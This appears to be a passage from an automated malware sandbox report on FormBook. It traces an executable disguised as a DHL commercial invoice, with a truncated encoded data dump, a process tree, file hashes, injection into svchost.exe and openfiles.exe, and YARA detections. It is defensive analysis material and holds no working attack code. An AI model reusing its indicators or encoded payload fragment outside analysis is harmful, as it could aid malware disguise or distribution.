76 52 43 4e 65 45 33 2b 63 78 38 41 6b 4a 6c 41 47 6c 52 6d 6c 59 46 4e 4e 54 44 6a 62 61 6b 73 77 7a 71 79 74 71 45 56 46 7a 63 46 78 59 79 79 6f 68 71 53 30 75 57 52 51 63 68 44 44 6f 65 33 64 62 4a 55 45 39 73 6b 63 62 56 48 68 77 51 63 76 2b 4d 52 68 30 35 34 6d 65 4d 33 44 57 46 70 4a 61 39 6a 5a 4e 4a 50 30 37 31 6f 38 55 76 50 6b 43 6f 77 41 67 64 34 41 73 41 34 42 63 54 51 76 6e 37 36 45 6f 56 70 4c 4f 55 6d 50 46 61 31 2b 46 44 4e 39 43 49 6c 55 2f [TRUNCATED] Data Ascii: Qf=pnAZ41+Jb1JK+o6bpLf+fINDRcLujhacRfZtnSiX2FXAXMsZBg7nc5Zp3noXw4Ml6awOY0ymTuCM6hefvaJ7S2NcOKM7c2sruqDxVTYYgQoT1Za8SWhd9iaws7D/mGv1joSEyZcqC/yijH3LPR9DFff3dQs9juVKiJhNRmLhL+Kxa4NJFUTkJvRCNeE3+cx8AkJlAGlRmlYFNNTDjbakswzqytqEVFzcFxYyyohqS0uWRQchDDoe3dbJUE9skcbVHhwQcv+MRh054meM3DWFpJa9jZNJP071o8UvPkCowAgd4AsA4BcTQvn76EoVpLOUmPFa1+FDN9CIlU/SkR8d7mB9g4QhFmVOOdE9ksIScGlXnTGDARKcAZl7fSeUBjQNSARGjQ+6ap7Q54j2aCRqMAPj0HCzazqRe+Ws4ya6ywc2bXMvCA6gJNpwQCbJkQPIcGhbBdzTis9OUcUtzLoiQkGVmsMuEBQug2AVX8Xw1Q8Hbj15ezKqOBeoZrOQmSBW9v+qPyImavNGNcv8t9PLsVXap56wCL3cuh0Q9vnXskcc0BvkGUBo4h0EzB3BX3Z8503wLIORMoac2DbUl3Bt5ecReWEn80b92tvRX+f5H5I7N0KvtAL+tP/zTfqBlp12I9xnP561pdF/0/prkDNeVuDOKdj/PXv9d8zmbryFCBnQffM2R2Rh+jB77zU2bb3/hKmJNlFKlu6xPUsQ+KThm73u9k97rxGVeZguNUGIg197/VvgGMB7KSilwA7MWceJLXXQ8J5diT/LlCSzeUynWnTJFz9x96Rt7xzyhUGtjjhxLc+s00TsTKAF046ovfmzpLAL4tAcgOV29Z34fYt22cmxHgTn+22XZLO4taS+uzZZfFXe9psA37wPlQRdUtUlukID+A1sOHrsE1wX6XzSoA63aZ7fPgw9Xb8i24jZ6wSSEU5DFQxeJp97/D9mONFgbntduZGdmByKy+a9AILU7Xybh31LboldpGrqyDobyGEAU+zHJ [TRUNCATED]

Target ID:	0
Start time:	05:01:09
Start date:	29/10/2024
Path:	C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe"
Imagebase:	0x400000
File size:	1'328'571 bytes
MD5 hash:	30A602421054F724C5A6CCB17A430B86
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	05:01:11
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe"
Imagebase:	0xf20000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2399645826.0000000005CA0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2399645826.0000000005CA0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2398476195.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2398476195.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2399183126.0000000003DE0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2399183126.0000000003DE0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	05:01:35
Start date:	29/10/2024
Path:	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe"
Imagebase:	0xb0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.3923233381.0000000002880000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.3923233381.0000000002880000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	5
Start time:	05:01:36
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\openfiles.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\openfiles.exe"
Imagebase:	0xfe0000
File size:	60'416 bytes
MD5 hash:	50BD10A4C573E609A401114488299D3D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3922241785.0000000000120000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.3922241785.0000000000120000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3923277416.0000000000BE0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.3923277416.0000000000BE0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3923173605.00000000006E0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.3923173605.00000000006E0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Target ID:	6
Start time:	05:01:50
Start date:	29/10/2024
Path:	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe"
Imagebase:	0xb0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3924811899.00000000050E0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.3924811899.00000000050E0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	8
Start time:	05:02:03
Start date:	29/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true